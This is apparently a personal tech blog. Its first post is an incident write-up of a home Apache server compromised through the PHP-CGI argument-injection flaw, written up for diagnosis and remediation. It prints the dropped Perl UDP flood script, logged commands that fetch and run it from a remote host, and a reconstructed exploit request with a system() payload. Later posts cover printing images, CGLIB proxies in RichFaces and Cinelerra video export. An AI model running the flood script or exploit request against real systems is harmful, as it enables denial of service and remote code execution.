I just got PWNED by “PHP 5.x Remote Code Execution Exploit”

Today my home server dropped off the net, thus cutting me off from all of my tunnels and email services for the entire day. Upon returning home, I found that the reason for this outage was a UDP flood ping that was originating from my server, and consuming 100% of my CPU and 100% of my bandwidth. Further inspection showed that my Apache 2.2 server running on Lucid Lynx was hacked. In this post I’ll document the steps I took in order to figure out and fix the problem.

Initial Observations

After logging in to my server I ran the top command and found that a perl process was taking up all of the CPU.

root@gatekeeper:~# ps -axf
19914 ?        S      0:00 sh -c cd /tmp;wget 146.185.162.85/.../u;perl u 154.35.175.201 6660 500
19918 ?        R    506:21  \_ perl u 154.35.175.201 6660 500
19916 ?        S      0:00 sh -c cd /tmp;wget 146.185.162.85/.../u;perl u 154.35.175.201 6660 500
19922 ?        R    506:12  \_ perl u 154.35.175.201 6660 500

These processes were owned by www-data user, which is the Apache user on Ubuntu.

Sure enough, the mysterious ‘u’ file being executed by perl was there:

root@gatekeeper:~# cd /tmp; ls -l
-rw-r--r-- 1 www-data www-data   1089 2013-12-04 11:53 u
-rw-r--r-- 1 www-data www-data   1089 2013-12-04 11:53 u.1

The contents of the file:

root@gatekeeper:~#  cat u
#!/usr/bin/perl
#####################################################
# udp flood.
#
# gr33ts: meth, etech, skrilla, datawar, fr3aky, etc.
#
# --/odix
######################################################

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
 printf "$0   <time>\n";
 printf "if arg1/2 =0, randports/continous packets.\n";l
 exit(1);
}

my ($ip,$port,$size,$time);
 $ip=$ARGV[0];
 $port=$ARGV[1];
 $time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip");

printf "udp flood - odix\n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
 goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
 goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto randpackets;
}

packets:
for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (;;) {
 $size=$rand x $rand x $rand;
 $port=int(rand 65000) +1;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

This script initiates a UDP flood ping of the provided address. In this case 154.35.175.201:6660. Note that the $time parameter is not used, which is why this turns into an all-destroying flood ping.
The malicious script was downloaded from here: http://146.185.162.85/…/. Note that this directory contains a whole bunch of interesting malicious code, including an IrcBot and a PayPal phishing page.

So, definitely h4x0red. But how?!?!?

Attack Analysis

  • Ran last -i, to see if there were any logins besides the ones I expect to be there. Nope.
  • Checked the timestamp and contents on /etc/passwd. Nope.
  • Checked for suspicious entries in /var/log/syslog and /var/log/auth.log. Nope.
  • Downloaded ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz to scan for any known root kits. Nope.

It appears that Apache2 was the attack vector, especially since the permissions on the downloaded files belong to www-data user.

Check our CGI configuration:

root@gatekeeper:~# vi /etc/apache2/sites-enabled/000-default
      ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
      <Directory "/usr/lib/cgi-bin">
                AllowOverride None
                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
                Order allow,deny
                Allow from all
</Directory>

Check what we have in /usr/lib/cgi-bin:

root@gatekeeper:~# ls -l /usr/lib/cgi-bin
lrwxrwxrwx 1 root root      29 2012-04-22 18:57 php -> /etc/alternatives/php-cgi-bin
-rwxr-xr-x 1 root root 7836616 2013-09-04 14:22 php5

Check the logs around 2013-12-04 11:53 timestamp, since this is when the ‘u’ file was downloaded into /tmp. I could not find an exact match in /var/log/apache2/access.log, but there was a lot of interesting stuff in there:

46.16.169.53 - - [01/Dec/2013:11:38:50 -0600] "POST //%63%67%69%2D
%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63
%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%
66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3
D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73
%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%
65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%7
0%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65
%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%
72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%7
4%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%6
9%6E%70%75%74+%2D%6E HTTP/1.1" 504 508 "-" "-"

WTF is that?! Writing a quick Ruby script to decode:

#!/usr/bin/ruby

input="%63%67%69%2D%62%69%6E/%70%68%70%35?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E"

input.split('%').each {|c|
	if ( c.length == 2 )
		print c.hex.chr
	elsif (c.length == 3)
		print "#{c[0..1].hex.chr}#{c[2].chr}"
	end
}

We get the following:

//cgi-bin/php5?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d
+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-d+auto_prepend_file=php://input+-n

Taking a look at /var/log/apache2/error.log we see scary stuff like this:

[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] --2013-12-04 11:57:22--  http://146.185.162.85/.../u
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] Connecting to 146.185.162.85:80...
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] connected.
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] HTTP request sent, awaiting response...
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] connected.
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] HTTP request sent, awaiting response...
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] 200 OK
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] Length: 1089 (1.1K)
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] Saving to: `u'
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170]
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170]      0K
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] .
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170]
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] 100% 26.8M=0s
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170]
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] 2013-12-04 11:57:22 (26.8 MB/s) - `u' saved [1089/1089]

ok, so whatever this does, it obviously somehow exploits the php5 executable. We are not supposed to be able to run php5 directly (b/c php5 binary is compiled with force-cgi-redirect enabled: http://fi2.php.net/security.cgi-bin), yet this somehow bypasses that security.

And here’s the explanation of how the exploit works:

On Debian and Ubuntu the vulnerability is present in the default install
of the php5-cgi package. When the php5-cgi package is installed on Debian and
Ubuntu or php-cgi is installed manually the php-cgi binary is accessible under
/cgi-bin/php5 and /cgi-bin/php. The vulnerability makes it possible to execute
the binary because this binary has a security check enabled when installed with
Apache http server and this security check is circumvented by the exploit.
When accessing the php-cgi binary the security check will block the request and
will not execute the binary.
In the source code file sapi/cgi/cgi_main.c of PHP we can see that the security
check is done when the php.ini configuration setting cgi.force_redirect is set
and the php.ini configuration setting cgi.redirect_status_env is set to no.
This makes it possible to execute the binary bypassing the Security check by
setting these two php.ini settings.
Prior to this code for the Security check getopt is called and it is possible
to set cgi.force_redirect to zero and cgi.redirect_status_env to zero using the
-d switch. If both values are set to zero and the request is sent to the server
php-cgi gets fully executed and we can use the payload in the POST data field
to execute arbitrary php and therefore we can execute programs on the system.
apache-magika.c is an exploit that does exactly the prior described. It does
support SSL.
/* Affected and tested versions
PHP 5.3.10
PHP 5.3.8-1
PHP 5.3.6-13
PHP 5.3.3
PHP 5.2.17
PHP 5.2.11
PHP 5.2.6-3
PHP 5.2.6+lenny16 with Suhosin-Patch
Affected versions
PHP prior to 5.3.12
PHP prior to 5.4.2
Unaffected versions
PHP 4 - getopt parser unexploitable
PHP 5.3.12 and up
PHP 5.4.2 and up
Unaffected versions are patched by CVE-2012-1823.

This explanation was obtained from: http://www.exploit-db.com/exploits/29290/

So with this information, I gather that the full exploit looked something like this:

POST //cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1
Host: vace.homelinux.com
Connection: keep-alive
Content-Length: 78
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22
Content-Type: application/x-www-form-urlencoded

<? system("/tmp;wget 146.185.162.85/.../u;perl u 154.35.175.201 6660 500"); ?>

I was not able to recreate the exploit with this exact request, so there must be some additional details required to make it work, but I am fairly certain that this is the general mechanism that was used to carry out the attack.

Securing The Server

Lucid is a fairly old distro, so I did not want to deal with upgrading the php package. I am sure it would be dependency hell. Instead, I followed the advice given on this thread (http://www.howtoforge.com/forums/showthread.php?t=63740&page=3) and installed mod_security.

There are good instructions on how to do that found here: http://www.linuxlog.org/?p=135

One thing to note is that if you are using Lucid, you will not be able to install the latest ModSecurity rules (v2.7.5), so don’t download those. Instead use the link provided in the article.

Here’s my /etc/apache2/conf.d/modsecurity:

<ifmodule mod_security2.c>
  SecRuleEngine On
  SecDebugLog /var/log/apache2/modsecurity.log
  SecDebugLogLevel 3
  SecAuditLogParts ABIJDEFHZ

  # For testing: http://vace.homelinux.com/?test=MY_UNIQUE_TEST_STRING
  SecRule ARGS "MY_UNIQUE_TEST_STRING"\
  "phase:1,log,deny,status:503"

  # These are too noisy with warnings, so turning them off
  SecRuleRemoveById 960032
  SecRuleRemoveById 960034

  Include /etc/apache2/mod_security_rules/*.conf
</ifmodule>

Conclusion

Since I was not able to recreate the exploit, I am not 100% sure if this solution worked. I’ll keep my eye on the logs over the following weeks and I’ll post here again if there are any unexpected developments.

Printing Many Images of Fixed or Variable Size in Linux

Tags

,

I thought I’d share some things I learned recently after having to format and print hundreds of images automatically. I’ll discuss printing images of the same size, as well as printing images of different sizes.

The most difficult step in the process is to format the image on the page. This is very easy to do manually by using OpenOffice, for example, but how do you do it from command line to hundreds of images?

Images of Fixed Size

  • Open Inkscape and import a test raster image. It doesn’t matter what image you choose, as long as its dimensions match the dimensions of your target images.  Position the image on the page as you desire.
  • Save the image as drawing.svg.
  • In the directory where you saved your SVG, create a subdirectory and place all your target images there.
  • In the same subdirectory create a script called generate_pdf.sh:
#!/bin/bash

rm *.svg
rm *.pdf

DIR=`pwd`

for i in `find . -iname "*jpg" -o -iname "*png"`; do
  SVG_NAME=${i%%.jpg}.svg
  PDF_NAME=${i%%.jpg}.pdf
  IMG_NAME=${i#./}
  cp ../drawing.svg $SVG_NAME
  sed -i "s,IMAGE_NAME,$DIR/$IMG_NAME," $SVG_NAME

  inkscape --without-gui --export-pdf=$PDF_NAME $SVG_NAME
done
  • Run the script, and it will generate an SVG and a PDF file for each image.
  • Print all PDF files:
$ IFS=$'\n'; for i in `find . -iname "*pdf"`; do echo $i; lpr -P printer_name $i; done

You can find out the name of the printer by running this command:

$ lpstat -d -p

Images of Variable Size

The easiest way I found is to use ImageMagic.

$ convert -rotate "90>" -page Letter *.jpg test.pdf

Then open test.pdf and print all pages. Be sure to check each page before printing, since you may need to print a couple of images manually.

jQuery Conflicts or Re-routing JSF resource requests with RichFaces Resource Mapping

If you are using RichFaces and you ever need to resolve a resource conflict (like a conflicting version of jQuery, for example), you need to read this article:
http://rik-ansikter.blogspot.ca/2012/02/re-routing-jsf-resource-requests-with.html

There is even an example implementation provided:
https://github.com/camra/Richfaces-Primefaces-Problem

Ajax, JSF 2 and ClientBehaviors

I consider myself to have a fairly expert understanding of JSF-related technologies, so it is becoming rare that I come across articles that teach me something new about the subject. However, I have come across just such a pair of articles, so I thought I’d share. These provide an excellent overview of the subjects and it is thorough enough that I learned some new things that I never came across before.

“Ajax and JSF, Joined At Last” by Jay Balunas

“Introducing JSF 2 Client Behaviors” by Dan Allen

Using CGLIB proxies to create efficient wrappers

Tags

,

I was recently faced with a problem that encouraged me to look into CGLIB proxies. What I needed to do was to slightly modify the way a RichFaces component rendered a partial response (an AJAX response). The change was very small, yet the only way to do it with traditional methods would be to override a RichFaces class, copy-and-paste a large method and make the necessary changes there.

I did not want to go in that direction, b/c that would make my code very sensitive to changes in future versions of RichFaces. Instead I decided to explore the possibility of somehow intercepting a call to PartialResponseWriter.startUpdate() method, b/c that was the behaviour I needed to change.

The obvious strategy here would be to create a wrapper around the PartialResponseWriter and make the necessary changes in the method I need. The problem with this approach is that my wrapper would have to implement about 20 methods, all of which except for one would be useless pass-throughs. That’s a lot of boilerplate there. A Lazy Programmer such as myself would never actually spend the time writing all that useless code. So, I decided to see if I could achieve my goal by utilizing CGLIB proxies.

CGLIB

CGLIB is a powerful and performant bytecode generation library, that relies on the low-level ASM framework (http://asm.ow2.org/). If you ever used Spring AOP or Hibernate, than you are probably used to seeing CGLIB proxied objects all the time.

CGLIB codebase is small, but not well documented, so it took me some time to figure out how to create some simple proxies.

Creating a Simple Proxy

Unlike the JDK dynamic proxy, we cannot proxy an existing object. The target object must be created by the CGLIB library, so all we get to do is specify the superclass for our proxy, as well as which constructor to use, if any.

The core of the CGLIB proxying API is the net.sf.cglib.proxy.Enhancer class. It has a lot of helper method for different situations. You can easily explore these options by looking at the source code for that class. In my example here I’ll show how to create a proxy for PartialResponseWriter, which has no default constructor:

private PartialResponseWriter proxyResponseWriter(PartialResponseWriter origWriter) {
	Enhancer enhancer = new Enhancer();
	enhancer.setSuperclass(PartialResponseWriter.class);
	enhancer.setCallback(new ResponseWriterInterceptor(origWriter));
		
	PartialResponseWriter proxy = (PartialResponseWriter) enhancer.create(
			new Class[] {ResponseWriter.class}, 
			new Object[] {origWriter.getWrapped()});
	
	return proxy;
}

private class ResponseWriterInterceptor implements MethodInterceptor {
	private PartialResponseWriter originalWriter;
	public ResponseWriterInterceptor(PartialResponseWriter originalWriter) {
		this.originalWriter = originalWriter;
	}

	public Object intercept(Object object, Method method, Object[] args, MethodProxy methodProxy) throws Throwable {
		if ( "startUpdate".equals(method.getName()) ) {
			String clientId = args[0].toString();
			
			if ( FixedUICollapsibleSubTable.this.getClientId().equals(clientId) ) { // Make sure the update is for our table
				clientId += ":c";
				return method.invoke(originalWriter, new Object[] {clientId});
			}
		}

		return method.invoke(originalWriter, args);
	}
}


This code creates a new instance of PartialResponseWriter and provides us with a way to examine and/or modify all calls to it via the provided MethodInterceptor. In this case I made the interceptor act as a pass-through for all methods, except startUpdate, which does additional processing before calling the proxied method.

The Final Hack

The final implementation of this hack was a bit more complex than proxying just the PartialResponseWriter, since RichFaces did not make it easy to “install” our proxied version of the ResponseWriter into the PartialViewContext, nevertheless this strategy worked out very well for me.

The two additional things I needed to do was CGLIB proxy ExtendedPartialViewContext as well, in order to get at the right spot to proxy PartialResponseWriter.

I also had to use reflection to set the resulting PartialResponseWriter proxy on the current FacesContext.

Here is the full code for the hack:

/**
* The ajax response modification allows us to re-render only the subtable we want on ajax requests, rather than
* the whole master table.
*
* @author Val Blant
*/
public class FixedUICollapsibleSubTable extends UICollapsibleSubTable {

/**
 * This method installs hooks into the <code>PartialResponseWriter</code> used to put together an ajax 
 * response that involves our Collapsible Sub Table. We use CGLIB proxies to intercept the startUpdate() 
 * call and manipulate the clientId used in writing the response.
 */
@Override
public boolean visitTree(VisitContext visitContext, VisitCallback callback) {
	FacesContext facesContext = FacesContext.getCurrentInstance();
	PartialViewContext viewContext = facesContext.getPartialViewContext();
	
	boolean magicEnabled = false;
	if ( visitContext instanceof RenderExtendedVisitContext ) { // Only do this for render phase
		if ( viewContext instanceof ExtendedPartialViewContext ) { // Should always be true unless RF4 changes something
			magicEnabled = true;

			// Proxy the View Context and set it into the FacesContext
			//
			ExtendedPartialViewContext proxy = proxyViewContext(viewContext);
			replaceViewContext(facesContext, proxy);
		}
		
	}
	
	// Visit the subtable with proxied PartialResponseWriter
	//
	boolean result = super.visitTree(visitContext, callback);
	
	// Restore the original objects
	//
	if ( magicEnabled ) {
		replaceViewContext(facesContext, viewContext);
	}
	
	return result;
}

/**
 * @param viewContext
 * @return CGLIB proxy of the passed in <code>PartialViewContext</code>
 * @see PartialViewContextInterceptor
 */
private ExtendedPartialViewContext proxyViewContext(PartialViewContext viewContext) {
	Enhancer enhancer = new Enhancer();
	enhancer.setSuperclass(ExtendedPartialViewContext.class);
	enhancer.setCallback(new PartialViewContextInterceptor((ExtendedPartialViewContext)viewContext));
	
	ExtendedPartialViewContext proxy = (ExtendedPartialViewContext) enhancer.create(
			new Class[] {FacesContext.class}, 
			new Object[] {FacesContext.getCurrentInstance()});
	
	return proxy;
}

/**
 * Replaces the <code>PartialViewContext</code> inside the given facesContext
 * 
 * @param facesContext
 * @param viewContext
 */
private void replaceViewContext(FacesContext facesContext, PartialViewContext viewContext) {
	try {
		Field f = facesContext.getClass().getDeclaredField("partialViewContext");
		f.setAccessible(true);
		f.set(facesContext, viewContext);
	} catch (Exception e) {
		throw new IllegalStateException(e);
	}
}


/**
 * Intercepts calls to getPartialResponseWriter() in order to return a proxied <code>PartialResponseWriter</code>
 * with our customizations.
 */
private class PartialViewContextInterceptor implements MethodInterceptor {
	private ExtendedPartialViewContext originalContext;
	public PartialViewContextInterceptor(ExtendedPartialViewContext originalContext) {
		this.originalContext = originalContext;
	}

	public Object intercept(Object object, Method method, Object[] args, MethodProxy methodProxy) throws Throwable {
		if ( "getPartialResponseWriter".equals(method.getName()) ) {
			return proxyResponseWriter();
		}
		else {
			return method.invoke(originalContext, args);
		}
	}
	
	/**
	 * @return CGLIB proxy of the <code>PartialResponseWriter</code>
	 * @see ResponseWriterInterceptor
	 */
	private PartialResponseWriter proxyResponseWriter() {
		PartialResponseWriter origWriter = originalContext.getPartialResponseWriter();
		Enhancer enhancer = new Enhancer();
		enhancer.setSuperclass(PartialResponseWriter.class);
		enhancer.setCallback(new ResponseWriterInterceptor(origWriter));
		
		PartialResponseWriter proxy = (PartialResponseWriter) enhancer.create(
				new Class[] {ResponseWriter.class}, 
				new Object[] {origWriter.getWrapped()});
		
		return proxy;
	}
	
}

/**
 * Intercepts calls to startUpdate() method in order to modify the clientId.
 * 
 * This is necessary, b/c we are no longer using the stock version of the Collapsible Sub Table from RF4.
 * We made a lot of modifications which change the HTML structure of the table. One change involves not rendering
 * the 'tbody' tag with id that matches the clientId of our subtable component. We are only rendering the content 
 * 'tbody', which has the id with form: "{clientId}:c".
 *  
 * The purpose of this interceptor is to make sure that the ajax update response targets the content 'tbody', rather than
 * now missing 'tbody'.
 */
private class ResponseWriterInterceptor implements MethodInterceptor {
	private PartialResponseWriter originalWriter;
	public ResponseWriterInterceptor(PartialResponseWriter originalWriter) {
		this.originalWriter = originalWriter;
	}

	public Object intercept(Object object, Method method, Object[] args, MethodProxy methodProxy) throws Throwable {
		if ( "startUpdate".equals(method.getName()) ) {
			String clientId = args[0].toString();
			
			if ( FixedUICollapsibleSubTable.this.getClientId().equals(clientId) ) { // Make sure the update is for our table
				clientId += ":c";
				return method.invoke(originalWriter, new Object[] {clientId});
			}
		}

		return method.invoke(originalWriter, args);
	}
}


}

Exporting H.264 from Cinelerra

Tags

This article will discuss creation of H.264 videos from Cinelerra on Ubuntu 12.04. A lot of the information was synthesized from
Olson Video and Websites.

Built-in H.264 Export

In the Renderer select “Quicktime for Linux”, and then use the H.264 compression option for video, and MPEG-4 Audio for sound:

01 H.264 - built-in

The problem with this approach is that Cinelerra provides very few settings to customize the encoding. I can achieve a much higher quality for the same size by using 2-pass encoding with the x264 utility. Luckily for us, Cinelerra has YUV4MPEG Stream option.

YUV4MPEG Stream

YUV4MPEG Stream allows us to pipe the video stream out of Cinelerra into an arbitrary tool chain. In this case the tool chain is my script that uses named pipes to encode the video with x264.

The script was adopted from here: http://www.renomath.org/ejolson/video/hddvd/264wf.html
I used http://www.renomath.org/ejolson/video/hddvd/pipe-x264 as a starting point.

Preparation

  1. Make sure that you have the x264 package installed.
  2. Save the code provided in the last section of this post as /usr/local/bin/pipe-x264.sh
  3. Make /usr/local/bin/pipe-x264.sh executable.
  4. Specify the desired resolution and FPS in the script. See code in the last section, which shows you which lines to modify.
  5. Cinelerra must be launched from the command line, so that you can see the console output.

Export Steps

1) Export The Sound

In the Renderer select “Microsoft WAV” for File Format, check Audio and uncheck Video. Export.

2) First Pass Video

In the Renderer select “YUV4MPEG Stream” for File Format, check Video and uncheck Audio. In the settings check “Use Pipe” and type the following:

$ /usr/local/bin/pipe-x264.sh -p 1 -b 1000 "%"

The first parameter (-p) is the pass number. The second (-b) is the bitrate you want. Make sure that the path points to where you’ve saved the script, that I’ll give you below.

If all works well, the video should start encoding. To check if it is actually working, you must launch Cinelerra from the command line and look at the console output after you start rendering. You should see x264 command call printed and x264 should be running and printing stuff to the console. If something went wrong, you’ll see an error instead. If you can’t figure out what’s wrong from the output, leave a comment and I might try to help.

The output in the console should look something like this:

Running pass 1:
     x264 /tmp/cine_pipe --input-res 1920x1080 --fps 59.9401 --bitrate 1000     --pass 1 --stats "/mnt/hde/temp/work/gym_2013-03-07/test40.stats"     --bframes 2 --b-adapt 2     --direct auto     --threads auto     --output "/mnt/hde/temp/work/gym_2013-03-07/test40.m2v"

[yuv4mpegpipe @ 0x15ae720] Estimating duration from bitrate, this may be inaccurate
lavf [info]: 1920x1080p 0:1 @ 60000/1001 fps (cfr)
x264 [info]: using cpu capabilities: MMX2 SSE2Fast SSSE3 FastShuffle SSE4.2
x264 [info]: profile Main, level 4.2
Render::render_single: Session finished.
x264 [info]: frame I:1     Avg QP:43.42  size: 10362
x264 [info]: frame P:49    Avg QP:39.33  size:  3682
x264 [info]: frame B:95    Avg QP:41.30  size:   788
x264 [info]: consecutive B-frames:  0.7%  4.1% 95.2%
x264 [info]: mb I  I16..4: 97.9%  0.0%  2.1%
x264 [info]: mb P  I16..4: 11.4%  0.0%  0.0%  P16..4:  9.3%  0.0%  0.0%  0.0%  0.0%    skip:79.2%
x264 [info]: mb B  I16..4:  0.7%  0.0%  0.0%  B16..8:  2.8%  0.0%  0.0%  direct: 1.0%  skip:95.6%  L0:39.7% L1:59.7% BI: 0.6%
x264 [info]: final ratefactor: 34.33
x264 [info]: direct mvs  spatial:88.4% temporal:11.6%
x264 [info]: coded y,uvDC,uvAC intra: 1.7% 25.6% 1.4% inter: 0.2% 1.5% 0.0%
x264 [info]: i16 v,h,dc,p: 46% 31% 16%  7%
x264 [info]: i4 v,h,dc,ddl,ddr,vr,hd,vl,hu: 16% 25% 36%  2%  3%  6% 10%  2%  1%
x264 [info]: i8c dc,h,v,p: 76% 12% 11%  2%
x264 [info]: Weighted P-Frames: Y:0.0% UV:0.0%
x264 [info]: kb/s:878.42

3) Second Pass Video

Once the first pass render is finished, go back to Video Settings in the Renderer and change the pipe command to run the second pass (-p 2):

$ /usr/local/bin/pipe-x264.sh -p 2 -b 1000 "%"

Again check the console to make sure that encoding has started.

4) Multiplex Video and Sound

The previous steps should have produced two files: test40.m2v and test40.wav. We need to multiplex them into a container:

$ ffmpeg -i test40.m2v -i test40.wav -acodec libmp3lame -ab 128k -ar 48000 -vcodec copy test40.avi

Here is a handy script to keep around for this step:

#!/bin/bash
# Multiplex video and sound
#

if [[ $# -lt 2 ]] ; then
    echo
    echo "  Usage: $0 <video file> <sound file>"
    echo
    exit 1
fi

command="ffmpeg -i $1 -i $2 -acodec libmp3lame -ab 128k -ar 48000 -vcodec copy ${1%%.*}.avi"

echo $command
eval $command

Mission Accomplished

You should now have a nice H.264 avi file.

Note that the .m2v file will probably not play correctly in any player, but that is ok, b/c after we multiplex it with sound the resulting file plays everywhere.

pipe-x264.sh

Please note that you have to set the desired resolution and framerate on the lines highlighted below.

#!/bin/bash
#
# Use this script to export H.264 videos from Cinelerra
#

# Change these to suite your needs
######## Canon G6 ##############
#frame_rate=10
#resolution=640x480
######## Sony A57 ##############
frame_rate=59.9401
resolution=1920x1080

pass=1
bit_rate=10000

help(){
    cat <<END
Usage: $0 [options] filename.anything
Options:
    -b n      bitrate n                             ($bit_rate)
    -p n      pass n                                ($pass)
    -h        Print this help message
END
    exit 0
}

while getopts b:p:h name "$@"
do
    case $name in
b)
	bit_rate=$OPTARG ;;
p)
	pass=$OPTARG ;;
*)
    help ;;
    esac
done
let shiftind=$OPTIND-1
shift $shiftind
if test "$#" != "1"
then
    help
fi

outfile=$1
base=`echo $outfile | sed "s/\.[^.]*$//"`

command="x264 /tmp/cine_pipe --input-res $resolution --fps $frame_rate --bitrate $bit_rate \
    --pass $pass --stats \"$base.stats\" \
    --bframes 2 --b-adapt 2 \
    --direct auto \
    --threads auto \
    --output \"$outfile\""

# Make a named pipe
rm /tmp/cine_pipe 2> /dev/null
mkfifo /tmp/cine_pipe

echo "Running pass $pass:"
echo "     $command"
echo

# Run the encoding command. It will block and wait for cat to start feeding data into the pipe
eval "$command &"

cat > /tmp/cine_pipe

Hope this helps.

Installing Cinelerra 4.4 on Ubuntu 12.04

This article provides step-by-step instructions for installing Cinelerra 4.4.

I upgraded my main workstation to Ubuntu 12.04 recently, briefly looked at PiTiVi and decided that Cinelerra is still the only capable video editor for Linux, despite its many flaws.

This post provides step-by-step instructions for compiling and installing Cinelerra 4.4.

Install Dependencies

Here is the list of dependencies that I know about. At a minimum you’ll need these packages, although there may be more. If the compile fails on a dependency, simply look at the last few lines of the output and the error should tell you what it’s missing.

$ sudo apt-get install wget bzip2 patch build-essential w32codecs w64codecs libtool nasm libncurses5-dev libbz2-dev libncursesw5-dev libxv-dev libxxf86vm-dev libogg-dev libvorbis-dev libtheora-dev libopenexr-dev libdv-dev libpng-dev libjpeg62-dev libfreetype6-dev libfaad-dev libsndfile1-dev uuid-dev libavutil-dev libmpeg3-dev libavcodec-dev libx264-dev libfaac-dev libglu1-mesa-dev libmjpegtools-dev

Download Source

$ wget http://downloads.sourceforge.net/project/heroines/cinelerra-4.4-src.tar.xz
$ tar xvf cinelerra-4.4-src.tar.xz

You should now have a directory called cinelerra-4.4

Apply Patches

You will need to apply two patches from the Community Version of Cinelerra to add dnxhd and dv50 codec support and YUV Stream support. This was easy, b/c the patches applied cleanly.

$ wget http://renomath.org/video/linux/cinelerra/patch-cinelerra-4.4-dnxhd
$ wget http://renomath.org/video/linux/cinelerra/patch-cinelerra-4.4-yuvstream
$ patch -Np1 -d cinelerra-4.4 < patch-cinelerra-4.4-dnxhd
$ patch -Np1 -d cinelerra-4.4 < patch-cinelerra-4.4-yuvstream

I found out about these patches from Eric Olson’s site: http://renomath.org/video/linux/cinelerra/

Build

$ cd cinelerra-4.4
$ ./configure
$ make

The install target does not work, so don’t bother with it. After make succeeds, the Cinelerra binary will be in the bin/ folder. So, to run Cinelerra:

$ cd bin
# ./cinelerra

Importing AVCHD

I mostly use Cinelerra to work with AVCHD video from my Sony DSLR, which shoots at 1080p with 60 FPS. Cinelerra cannot read the resulting MTS files, so I have to convert them to dnxhd (AVdn) format first:

$ ffmpeg -i 00014-360_2.MTS -b 185M -vcodec dnxhd -acodec pcm_s16le -threads 4 output.mov

